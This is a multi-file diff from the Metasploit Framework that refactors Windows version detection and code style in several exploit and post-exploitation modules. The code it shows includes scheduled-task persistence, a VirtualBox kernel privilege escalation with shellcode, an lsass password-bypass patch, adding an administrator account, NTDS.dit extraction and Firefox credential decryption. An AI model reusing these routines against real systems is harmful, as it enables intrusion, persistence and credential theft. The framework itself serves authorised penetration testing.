schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha(rand(6..13))
# Create task with modified XML
create_task(xml_path, schname, rexe_path)
@ -112,8 +111,8 @@ class MetasploitModule < Msf::Exploit::Local
# Generate name for payload
# Returns name
def generate_rexename
rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + ".exe"
if not rexename =~ /\.exe$/
rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.exe'
if rexename !~ /\.exe$/
print_warning("#{datastore['REXENAME']} isn't an exe")
end
return rexename
@ -125,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Local
def generate_path(rexename)
# Generate a path to write payload and XML
path = datastore['PATH'] || session.sys.config.getenv('TEMP')
xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}.xml"
xml_path = "#{path}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.xml"
rexe_path = "#{path}\\#{rexename}"
return xml_path, rexe_path
end
@ -142,7 +141,7 @@ class MetasploitModule < Msf::Exploit::Local
begin
write_file(path, payload)
rescue => e
rescue StandardError
fail_with(Failure::Unknown, "Could not upload to #{path}")
end
@ -153,22 +152,22 @@ class MetasploitModule < Msf::Exploit::Local
# Creates a scheduled task, exports as XML, deletes task
# Returns normal XML for generic task
def create_xml(rexe_path)
xml_path = File.join(Msf::Config.data_directory, "exploits", "s4u_persistence.xml")
xml_file = File.new(xml_path, "r")
xml_path = File.join(Msf::Config.data_directory, 'exploits', 's4u_persistence.xml')
xml_file = File.new(xml_path, 'r')
xml = xml_file.read
xml_file.close
# Get local time, not system time from victim machine
begin
vt = client.railgun.kernel32.GetLocalTime(32)
ut = vt['lpSystemTime'].unpack("v*")
ut = vt['lpSystemTime'].unpack('v*')
t = ::Time.utc(ut[0], ut[1], ut[3], ut[4], ut[5])
rescue
print_warning("Could not read system time from victim... Using your local time to determine creation date")
rescue StandardError
print_warning('Could not read system time from victim... Using your local time to determine creation date')
t = ::Time.now
end
date = t.strftime("%Y-%m-%d")
time = t.strftime("%H:%M:%S")
date = t.strftime('%Y-%m-%d')
time = t.strftime('%H:%M:%S')
# Put in correct times
xml = xml.gsub(/DATEHERE/, "#{date}T#{time}")
@ -192,19 +191,19 @@ class MetasploitModule < Msf::Exploit::Local
case datastore['TRIGGER']
when 'logon'
# Trigger based on winlogon event, checks windows license key after logon
print_status("This trigger triggers on event 4101 which validates the Windows license")
print_status('This trigger triggers on event 4101 which validates the Windows license')
line = "*[System[EventID='4101']] and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]"
xml = create_trigger_event_tags("Application", line, xml)
xml = create_trigger_event_tags('Application', line, xml)
when 'lock'
xml = create_trigger_tags("SessionLock", xml)
xml = create_trigger_tags('SessionLock', xml)
when 'unlock'
xml = create_trigger_tags("SessionUnlock", xml)
xml = create_trigger_tags('SessionUnlock', xml)
when 'event'
line = "*[System[(EventID=#{datastore['EVENT_ID']})]]"
if not datastore['XPATH'].nil? and not datastore['XPATH'].empty?
if !datastore['XPATH'].nil? && !datastore['XPATH'].empty?
# Append xpath queries
line << " and #{datastore['XPATH']}"
# Print XPath query, useful to user to spot issues with uncommented single quotes
@ -218,7 +217,7 @@ class MetasploitModule < Msf::Exploit::Local
unless datastore['FREQUENCY'].nil? || datastore['FREQUENCY'] == 0
minutes = datastore['FREQUENCY']
else
print_status("Defaulting frequency to every hour")
print_status('Defaulting frequency to every hour')
minutes = 60
end
xml = xml.sub(/<Interval>.*?</, "<Interval>PT#{minutes}M<")
@ -228,7 +227,7 @@ class MetasploitModule < Msf::Exploit::Local
# Generate expire tag
end_boundary = create_expire_tag
# Inject expire tag
insert = xml.index("</StartBoundary>")
insert = xml.index('</StartBoundary>')
xml.insert(insert + 16, "\n #{end_boundary}")
end
end
@ -238,21 +237,21 @@ class MetasploitModule < Msf::Exploit::Local
##############################################################
# Creates end boundary tag which expires the trigger
# Returns XML for expire
def create_expire_tag()
def create_expire_tag
# Get local time, not system time from victim machine
begin
vt = client.railgun.kernel32.GetLocalTime(32)
ut = vt['lpSystemTime'].unpack("v*")
ut = vt['lpSystemTime'].unpack('v*')
t = ::Time.utc(ut[0], ut[1], ut[3], ut[4], ut[5])
rescue
print_error("Could not read system time from victim... Using your local time to determine expire date")
rescue StandardError
print_error('Could not read system time from victim... Using your local time to determine expire date')
t = ::Time.now
end
# Create time object to add expire time to and create tag
t = t + (datastore['EXPIRE_TIME'] * 60)
date = t.strftime("%Y-%m-%d")
time = t.strftime("%H:%M:%S")
t += (datastore['EXPIRE_TIME'] * 60)
date = t.strftime('%Y-%m-%d')
time = t.strftime('%H:%M:%S')
end_boundary = "<EndBoundary>#{date}T#{time}</EndBoundary>"
return end_boundary
end
@ -271,9 +270,9 @@ class MetasploitModule < Msf::Exploit::Local
temp_xml << " <Enabled>true</Enabled>\n"
temp_xml << " <StateChange>#{trig}</StateChange>\n"
temp_xml << " <UserId>#{domain}\\#{user}</UserId>\n"
temp_xml << " </SessionStateChangeTrigger>"
temp_xml << ' </SessionStateChangeTrigger>'
xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml)
xml = xml.gsub(%r{<TimeTrigger>.*</TimeTrigger>}m, temp_xml)
return xml
end
@ -288,14 +287,14 @@ class MetasploitModule < Msf::Exploit::Local
temp_xml = "<EventTrigger>\n"
temp_xml << " #{create_expire_tag}\n" unless datastore['EXPIRE_TIME'] == 0
temp_xml << " <Enabled>true</Enabled>\n"
temp_xml << " <Subscription>&lt;QueryList&gt;&lt;Query Id=\"0\" "
temp_xml << ' <Subscription>&lt;QueryList&gt;&lt;Query Id="0" '
temp_xml << "Path=\"#{log}\"&gt;&lt;Select Path=\"#{log}\"&gt;"
temp_xml << line
temp_xml << "&lt;/Select&gt;&lt;/Query&gt;&lt;/QueryList&gt;"
temp_xml << '&lt;/Select&gt;&lt;/Query&gt;&lt;/QueryList&gt;'
temp_xml << "</Subscription>\n"
temp_xml << " </EventTrigger>"
temp_xml << ' </EventTrigger>'
xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml)
xml = xml.gsub(%r{<TimeTrigger>.*</TimeTrigger>}m, temp_xml)
return xml
end
@ -309,7 +308,7 @@ class MetasploitModule < Msf::Exploit::Local
end
begin
write_file(path, xml)
rescue
rescue StandardError
delete_file(rexe_path)
fail_with(Failure::Unknown, "Issues writing XML to #{path}")
end
@ -320,11 +319,9 @@ class MetasploitModule < Msf::Exploit::Local
# Takes path and delete file
# Returns boolean for success
def delete_file(path)
begin
file_rm(path)
rescue
print_warning("Could not delete file #{path}, delete manually")
end
file_rm(path)
rescue StandardError
print_warning("Could not delete file #{path}, delete manually")
end
##############################################################
@ -332,43 +329,43 @@ class MetasploitModule < Msf::Exploit::Local
# Returns boolean for success
def create_task(path, schname, rexe_path)
# create task using XML file on victim fs
create_task_response = cmd_exec("cmd.exe", "/c schtasks /create /xml #{path} /tn \"#{schname}\"")
create_task_response = cmd_exec('cmd.exe', "/c schtasks /create /xml #{path} /tn \"#{schname}\"")
if create_task_response =~ /has successfully been created/
print_good("Persistence task #{schname} created successfully")
# Create to delete commands for exe and task
del_task = "schtasks /delete /tn \"#{schname}\" /f"
print_status("#{"To delete task:".ljust(20)} #{del_task}")
print_status("#{"To delete payload:".ljust(20)} del #{rexe_path}")
print_status("#{'To delete task:'.ljust(20)} #{del_task}")
print_status("#{'To delete payload:'.ljust(20)} del #{rexe_path}")
del_task << "\ndel #{rexe_path}"
# Delete XML from victim
delete_file(path)
# Save info to notes DB
report_note(:host => session.session_host,
:type => "host.s4u_persistance.cleanup",
:data => {
:session_num => session.sid,
:stype => session.type,
:desc => session.info,
:platform => session.platform,
:via_payload => session.via_payload,
:via_exploit => session.via_exploit,
:created_at => Time.now.utc,
:delete_commands => del_task
report_note(host: session.session_host,
type: 'host.s4u_persistance.cleanup',
data: {
session_num: session.sid,
stype: session.type,
desc: session.info,
platform: session.platform,
via_payload: session.via_payload,
via_exploit: session.via_exploit,
created_at: Time.now.utc,
delete_commands: del_task
})
elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/
# Clean up
delete_file(rexe_path)
delete_file(path)
error = "The scheduled task name is already in use"
error = 'The scheduled task name is already in use'
fail_with(Failure::Unknown, error)
else
error = "Issues creating task using XML file schtasks"
error = 'Issues creating task using XML file schtasks'
vprint_error("Error: #{create_task_response}")
if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event"
print_warning("Security log can restricted by UAC, try a different trigger")
if (datastore['EVENT_LOG'] == 'Security') && (datastore['TRIGGER'] == 'Event')
print_warning('Security log can restricted by UAC, try a different trigger')
end
# Clean up
delete_file(rexe_path)

View File

@ -50,7 +50,8 @@ class MetasploitModule < Msf::Exploit::Local
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS ]
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS ],
'Reliability' => []
},
'Compat' => {
'Meterpreter' => {
@ -230,16 +231,12 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
# check OS
unless sysinfo['OS'].include?('2012')
version = get_version_info
unless version.build_number == Msf::WindowsVersion::Server2012 && version.windows_server?
return Exploit::CheckCode::Safe('Target is not Windows Server 2012.')
end
if sysinfo['OS'].include?('R2')
return Exploit::CheckCode::Safe('Target is Windows Server 2012 R2, but only Windows Server 2012 is vulnerable.')
end
print_status("Target is #{sysinfo['OS']}")
print_status("Target is #{version.product_name}")
# obtain the Windows Update setting to see if exploitation could work at all
@wupdate_setting = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Auto Update', 'AUOptions')

View File

@ -175,23 +175,17 @@ minutes to trigger and recieve a shell.")
end
def check
sysinfo_value = sysinfo['OS']
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)
if build_num.nil?
return CheckCode::Unknown("Couldn't retrieve the target's build number!")
else
vprint_status("Target's build number: #{build_num}")
build_num = build_num[0].to_i
end
version = get_version_info
vprint_status("Build Number = #{build_num}")
vprint_status("OS: #{version.product_name}")
# Service method has been tested on Windows 7, 8 and 10 (1803 and ealier)
vulnerable_to_service = version.build_number.between?(Msf::WindowsVersion::Win7_SP1, Msf::WindowsVersion::Win10_1803)
if datastore['METHOD'] =~ /service/i
# Service method has been tested on Windows 7, 8 and 10 (1803 and ealier)
return Exploit::CheckCode::Appears if (build_num >= 7601 && build_num <= 17134)
elsif (sysinfo_value =~ /10/ && build_num >= 15063 && build_num <= 17134)
return Exploit::CheckCode::Appears if vulnerable_to_service
elsif version.build_number.between?(Msf::WindowsVersion::Win10_1703, Msf::WindowsVersion::Win10_1803)
# DLL method has been tested on Windows 10 (1703 to 1803)
return Exploit::CheckCode::Appears
elsif (datastore['METHOD'] =~ /dll/i && build_num >= 7601 && build_num < 15063)
elsif datastore['METHOD'] =~ /dll/i && vulnerable_to_service
print_error("The current target is not vulnerable to the DLL hijacking technique. Please try setting METHOD to 'SERVICE' and then try again!")
end
Exploit::CheckCode::Safe

View File

@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Local
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'EXITFUNC' => 'thread'
},
'Targets' => [
[
@ -69,10 +69,10 @@ class MetasploitModule < Msf::Exploit::Local
end
def fill_memory(proc, address, length, content)
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
if not proc.memory.writable?(address)
vprint_error("Failed to allocate memory")
if !proc.memory.writable?(address)
vprint_error('Failed to allocate memory')
return nil
else
vprint_good("#{address} is now writable")
@ -81,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Local
result = proc.memory.write(address, content)
if result.nil?
vprint_error("Failed to write contents to memory")
vprint_error('Failed to write contents to memory')
return nil
else
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
@ -91,7 +91,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
if sysinfo["Architecture"] == ARCH_X64
if sysinfo['Architecture'] == ARCH_X64
return Exploit::CheckCode::Safe
end
@ -102,12 +102,12 @@ class MetasploitModule < Msf::Exploit::Local
session.railgun.kernel32.CloseHandle(handle)
os = sysinfo["OS"]
unless (os =~ /windows xp.*service pack 3/i)
version = get_version_info
if version != Msf::WindowsVersion::XP_SP3
return Exploit::CheckCode::Safe
end
file_path = get_env('WINDIR') << "\\system32\\drivers\\vboxguest.sys"
file_path = get_env('WINDIR') << '\\system32\\drivers\\vboxguest.sys'
unless file?(file_path)
return Exploit::CheckCode::Unknown
end
@ -139,21 +139,21 @@ class MetasploitModule < Msf::Exploit::Local
end
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "Exploit not available on this system")
fail_with(Failure::NotVulnerable, 'Exploit not available on this system')
end
handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
if handle.nil?
fail_with(Failure::NoTarget, "Unable to open \\\\.\\vboxguest device")
fail_with(Failure::NoTarget, 'Unable to open \\\\.\\vboxguest device')
end
print_status("Disclosing the HalDispatchTable address...")
print_status('Disclosing the HalDispatchTable address...')
hal_dispatch_table = find_haldispatchtable
if hal_dispatch_table.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Failed to disclose HalDispatchTable")
fail_with(Failure::Unknown, 'Failed to disclose HalDispatchTable')
else
print_good("Address successfully disclosed.")
print_good('Address successfully disclosed.')
end
print_status('Getting the hal.dll base address...')
@ -164,7 +164,7 @@ class MetasploitModule < Msf::Exploit::Local
print_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}")
hali_query_system_information = hal_base + target['HaliQuerySystemInfo']
print_status("Storing the shellcode in memory...")
print_status('Storing the shellcode in memory...')
this_proc = session.sys.process.open
restore_ptrs = "\x31\xc0" # xor eax, eax
@ -181,32 +181,32 @@ class MetasploitModule < Msf::Exploit::Local
result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')
else
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
end
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a040, 0x1, 140, hal_dispatch_table + 0x4 - 40, 0)
session.railgun.kernel32.CloseHandle(handle)
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')
session.railgun.ntdll.NtQueryIntervalProfile(2, 4)
print_status("Checking privileges after exploitation...")
print_status('Checking privileges after exploitation...')
unless is_system?
fail_with(Failure::Unknown, "The exploitation wasn't successful")
if is_system?
print_good('Exploitation successful!')
else
print_good("Exploitation successful!")
fail_with(Failure::Unknown, "The exploitation wasn't successful")
end
p = payload.encoded
print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
print_status("Injecting #{p.length} bytes to memory and executing it...")
if execute_shellcode(p)
print_good("Enjoy")
print_good('Enjoy')
else
fail_with(Failure::Unknown, "Error while executing the payload")
fail_with(Failure::Unknown, 'Error while executing the payload')
end
end
end

View File

@ -6,6 +6,7 @@
require 'English'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Version
def initialize(info = {})
super(
@ -29,7 +30,6 @@ class MetasploitModule < Msf::Post
core_channel_write
stdapi_sys_config_getenv
stdapi_sys_config_getuid
stdapi_sys_config_sysinfo
]
}
}
@ -57,9 +57,9 @@ class MetasploitModule < Msf::Post
when 'windows'
@platform = :windows
drive = session.sys.config.getenv('SystemDrive')
os = session.sys.config.sysinfo['OS']
version = get_version_info
if os =~ /Windows 7|Vista|2008/
if version.build_number >= Msf::WindowsVersion::Vista_SP0
@appdata = '\\AppData\\Roaming'
@users = drive + '\\Users'
else

View File

@ -64,7 +64,6 @@ class MetasploitModule < Msf::Post
stdapi_fs_stat
stdapi_sys_config_getenv
stdapi_sys_config_getuid
stdapi_sys_config_sysinfo
stdapi_sys_process_get_processes
stdapi_sys_process_kill
]
@ -106,7 +105,6 @@ class MetasploitModule < Msf::Post
if datastore['DECRYPT']
do_decrypt
else # Non DECRYPT
paths = []
paths = enum_users
if paths.nil? || paths.empty?
@ -151,7 +149,7 @@ class MetasploitModule < Msf::Post
end
end
session.type == 'meterpreter' ? (size = '(%s MB)' % '%0.2f' % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = '')
session.type == 'meterpreter' ? (size = format('(%s MB)', '%0.2f') % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = '')
tmp = Dir.tmpdir + '/' + new_file # Cross platform local tempdir, "/" should work on Windows too
print_status("Downloading #{@paths['ff'] + org_file} to: #{tmp} %s" % size)
@ -176,7 +174,7 @@ class MetasploitModule < Msf::Post
Zip::File.open(tmp) do |zip_file|
res = decrypt_modify_omnija(zip_file)
end
rescue Zip::Error => e
rescue Zip::Error
print_error("Error modifying: #{tmp}")
return
end
@ -384,7 +382,8 @@ class MetasploitModule < Msf::Post
case @platform
when :windows
unless got_root || session.sys.config.sysinfo['OS'] =~ /xp/i
version = get_version_info
unless got_root || version.xp_or_2003?
print_warning('You may need SYSTEM privileges on this platform for the DECRYPT option to work')
end

View File

@ -6,6 +6,7 @@
require 'metasm'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Version
def initialize(info = {})
super(
@ -44,7 +45,6 @@ class MetasploitModule < Msf::Post
stdapi_railgun_api
stdapi_railgun_memwrite
stdapi_sys_config_getenv
stdapi_sys_config_sysinfo
stdapi_sys_process_getpid
]
}
@ -57,23 +57,19 @@ class MetasploitModule < Msf::Post
mem_base = nil
dllpath = nil
hDll = false
vuln = false
winver = session.sys.config.sysinfo['OS']
affected = [ 'Windows 2000', 'Windows XP' ]
affected.each do |v|
if winver.include? v
vuln = true
break
end
version = get_version_info
unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::Win7_SP0)
print_error("#{version.product_name} is not vulnerable.")
return
end
if !vuln
print_error("#{winver} is not vulnerable.")
unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::XP_SP2)
print_error("#{version.product_name} is vulnerable, but not supported by this module.")
return
end
# syscalls from http://j00ru.vexillium.org/win32k_syscalls/
if winver =~ /2000/
if version.build_number == Msf::WindowsVersion::Win2000
system_pid = 8
pid_off = 0x9c
flink_off = 0xa0
@ -216,7 +212,7 @@ class MetasploitModule < Msf::Post
print_error('Unable to allocate RWX memory @ 0x%x' % mem_base)
return
end
print_status('Allocated 0x%x bytes of memory @ 0x%x' % [mem_size, mem_base])
print_status(format('Allocated 0x%x bytes of memory @ 0x%x', mem_size, mem_base))
# Initialize the buffer to contain NO-OPs
nops = "\x90" * mem_size

View File

@ -6,6 +6,7 @@
require 'metasm'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Version
def initialize(info = {})
super(
@ -22,14 +23,13 @@ class MetasploitModule < Msf::Post
'License' => MSF_LICENSE,
'Author' => [
'L4teral <l4teral[4t]gmail com>', # Meterpreter script
'Metlstorm' # Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16
'Metlstorm' # Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_config_sysinfo
stdapi_sys_process_attach
stdapi_sys_process_memory_read
stdapi_sys_process_memory_write
@ -53,23 +53,23 @@ class MetasploitModule < Msf::Post
revert = datastore['REVERT']
targets = [
{ sig: '8bff558bec83ec50a1', sigoffset: 0x9927, orig_code: '32c0', patch: 'b001', patchoffset: 0x99cc, os: /Windows XP.*Service Pack 2/ },
{ sig: '8bff558bec83ec50a1', sigoffset: 0x981b, orig_code: '32c0', patch: 'b001', patchoffset: 0x98c0, os: /Windows XP.*Service Pack 3/ },
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xb76a, orig_code: '32c0', patch: 'b001', patchoffset: 0xb827, os: /Windows Vista/ },
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xb391, orig_code: '32c0', patch: 'b001', patchoffset: 0xb44e, os: /Windows Vista/ },
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xacf6, orig_code: '32c0', patch: 'b001', patchoffset: 0xadb3, os: /Windows Vista/ },
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xe881, orig_code: '32c0', patch: 'b001', patchoffset: 0xe93e, os: /Windows 7/ },
{ sig: '8bff558bec83ec50a1', sigoffset: 0x97d3, orig_code: '32c0', patch: 'b001', patchoffset: 0x9878, os: /Windows XP.*Service Pack 3 - spanish/ }
{ sig: '8bff558bec83ec50a1', sigoffset: 0x9927, orig_code: '32c0', patch: 'b001', patchoffset: 0x99cc, os_start: Msf::WindowsVersion::XP_SP2, os_end: Msf::WindowsVersion::XP_SP2 },
{ sig: '8bff558bec83ec50a1', sigoffset: 0x981b, orig_code: '32c0', patch: 'b001', patchoffset: 0x98c0, os_start: Msf::WindowsVersion::XP_SP3, os_end: Msf::WindowsVersion::XP_SP3 },
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xb76a, orig_code: '32c0', patch: 'b001', patchoffset: 0xb827, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 },
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xb391, orig_code: '32c0', patch: 'b001', patchoffset: 0xb44e, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 },
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xacf6, orig_code: '32c0', patch: 'b001', patchoffset: 0xadb3, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 },
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xe881, orig_code: '32c0', patch: 'b001', patchoffset: 0xe93e, os_start: Msf::WindowsVersion::Win7_SP0, os_end: Msf::WindowsVersion::Win7_SP1 },
{ sig: '8bff558bec83ec50a1', sigoffset: 0x97d3, orig_code: '32c0', patch: 'b001', patchoffset: 0x9878, os_start: Msf::WindowsVersion::XP_SP3, os_end: Msf::WindowsVersion::XP_SP3 } # Spanish
]
unsupported if client.platform != 'windows' || (client.arch != ARCH_X64 && client.arch != ARCH_X86)
os = client.sys.config.sysinfo['OS']
version = get_version_info
targets.each do |t|
next unless os =~ t[:os]
next unless version.build_number.between?(t[:os_start], t[:os_end]) && !version.windows_server?
target = t
print_status("OS '#{os}' found in known targets")
print_status("OS '#{version.product_name}' found in known targets")
pid = client.sys.process['lsass.exe']
p = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
dllbase = p.image['msv1_0.dll']

View File

@ -5,6 +5,7 @@
class MetasploitModule < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Version
# include Msf::Post::Windows::Priv
def initialize(info = {})
@ -59,8 +60,8 @@ class MetasploitModule < Msf::Post
def setup
super
validate_active_host
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
@script_name = datastore['SCRIPT_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
@script_name = datastore['SCRIPT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
@exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
@script_name = "#{script_name}.sct" unless script_name.match(/\.sct$/i)
@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
@ -69,8 +70,8 @@ class MetasploitModule < Msf::Post
end
def populate_command
username = Rex::Text.rand_text_alpha((rand(6..13)))
password = Rex::Text.rand_text_alpha((rand(6..13)))
username = Rex::Text.rand_text_alpha(rand(6..13))
password = Rex::Text.rand_text_alpha(rand(6..13))
print_status("username = #{username}, password = #{password}")
cmd_to_run = 'net user /add ' + username + ' ' + password
cmd_to_run += ' & net localgroup administrators /add ' + username
@ -95,8 +96,9 @@ class MetasploitModule < Msf::Post
if sysinfo['Architecture'] == ARCH_X86
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
end
if sysinfo['OS'] =~ /XP/
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
version = get_version_info
unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win10_1803)
fail_with(Failure::Unknown, 'The exploit does not support this OS')
end
end

View File

@ -89,18 +89,18 @@ class MetasploitModule < Msf::Post
end
def copy_database_file
database_file_path = nil
case sysinfo['OS']
when /2003| \.NET/
print_status 'Using Volume Shadow Copy Method'
database_file_path = vss_method
when /2008|2012|2016/
print_status 'Using NTDSUTIL method'
database_file_path = ntdsutil_method
else
print_error 'This version of Windows is unsupported'
version = get_version_info
if version.windows_server?
if version.build_number.between?(Msf::WindowsVersion::Server2003_SP0, Msf::WindowsVersion::Server2003_SP2)
print_status 'Using Volume Shadow Copy Method'
return vss_method
elsif version.build_number >= Msf::WindowsVersion::Server2008_SP0
print_status 'Using NTDSUTIL method'
return ntdsutil_method
end
end
database_file_path
print_error 'This version of Windows is unsupported'
return nil
end
def ntds_exists?
@ -114,7 +114,7 @@ class MetasploitModule < Msf::Post
end
def ntdsutil_method
tmp_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(6..13)))}"
tmp_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}"
command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit"
result = cmd_exec('ntdsutil.exe', command_arguments, 90)
if result.include? 'IFM media created successfully'
@ -190,12 +190,12 @@ class MetasploitModule < Msf::Post
fail_with(Failure::NoAccess, 'Unable to start VSS service')
end
location = ntds_location.dup
volume = location.slice!(0, 3)
location.slice!(0, 3)
id = create_shadowcopy(volume.to_s)
print_status "Getting Details of ShadowCopy #{id}"
sc_details = get_sc_details(id)
sc_path = "#{sc_details['DeviceObject']}\\#{location}\\ntds.dit"
target_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(6..13)))}"
target_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}"
print_status "Moving ntds.dit to #{target_path}"
move_file(sc_path, target_path)
target_path

View File

@ -44,7 +44,7 @@ class MetasploitModule < Msf::Post
# Run Method for when run command is issued
def run
print_status("Running module against #{sysinfo['Computer']}")
enum_users(sysinfo['OS']).each do |user|
enum_users.each do |user|
if user['userpath']
print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..."
extract_lnk_info(user['userpath'])
@ -60,15 +60,15 @@ class MetasploitModule < Msf::Post
end
end
def enum_users(os)
def enum_users
users = []
userinfo = {}
user = session.sys.config.getuid
session.sys.config.getuid
userpath = nil
useroffcpath = nil
env_vars = session.sys.config.getenvs('SystemDrive', 'USERNAME')
sysdrv = env_vars['SystemDrive']
if os =~ /Windows 7|Vista|2008/
version = get_version_info
if version.build_number >= Msf::WindowsVersion::Vista_SP0
userpath = sysdrv + '\\Users\\'
lnkpath = '\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\'
officelnkpath = '\\AppData\\Roaming\\Microsoft\\Office\\Recent\\'
@ -104,7 +104,7 @@ class MetasploitModule < Msf::Post
# This is a hack because Meterpreter doesn't support exists?(file)
def dir_entry_exists(path)
files = session.fs.dir.entries(path)
session.fs.dir.entries(path)
rescue StandardError
return nil
else
@ -114,7 +114,6 @@ class MetasploitModule < Msf::Post
def extract_lnk_info(path)
session.fs.dir.foreach(path) do |file_name|
if file_name =~ /\.lnk$/ # We have a .lnk file
record = nil
offset = 0 # TODO: Look at moving this to smaller scope
lnk_file = session.fs.file.new(path + file_name, 'rb')
record = lnk_file.sysread(0x04)
@ -186,7 +185,7 @@ class MetasploitModule < Msf::Post
end
end
lnk_file.close
logfile = store_loot('host.windows.lnkfileinfo', 'text/plain', session, @data_out, "#{sysinfo['Computer']}_#{file_name}.txt", 'User lnk file info')
store_loot('host.windows.lnkfileinfo', 'text/plain', session, @data_out, "#{sysinfo['Computer']}_#{file_name}.txt", 'User lnk file info')
end
end
end

View File

@ -6,6 +6,7 @@
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::FileSystem
include Msf::Post::Windows::Version
include Msf::Auxiliary::Report
def initialize(info = {})
@ -29,7 +30,6 @@ class MetasploitModule < Msf::Post
stdapi_fs_search
stdapi_railgun_api
stdapi_sys_config_getenv
stdapi_sys_config_sysinfo
]
}
}
@ -46,21 +46,21 @@ class MetasploitModule < Msf::Post
def download_files(location, file_type)
sysdriv = client.sys.config.getenv('SYSTEMDRIVE')
sysnfo = client.sys.config.sysinfo['OS']
